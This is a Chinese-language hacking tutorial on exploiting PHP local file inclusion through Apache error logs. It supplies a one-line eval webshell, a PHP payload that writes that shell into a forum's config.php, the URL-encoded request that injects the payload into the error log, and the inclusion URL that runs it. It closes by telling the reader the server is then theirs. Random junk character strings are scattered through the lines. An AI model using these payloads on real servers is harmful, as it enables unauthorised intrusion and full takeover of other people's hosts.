php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

  K' i3 R$ O6 W/ R' K. l比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
" d1 X. f4 _; ?6 F. W9 ^1 b: z
: J9 o( M: @# F到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
7 d! C- R- r; Rfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
# p& [' v8 {* z; n; Zfclose($fp);?>   //在config.php里写入一句木马语句
1 T, i( U: T6 X  Q$ u5 w* K
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
' v* _9 g9 T7 G' N转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
: _2 x7 k' i9 _config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
" G% u7 ~: ]+ T. }%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
- I4 J9 ?- h/ I& {http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
- |2 W$ ^- Z: Z% G) [! v%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
( @1 H: D4 S" X2 \: h%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
, {; J7 F+ n3 h* T& n我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
; T1 s+ v/ l# {( n* _OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
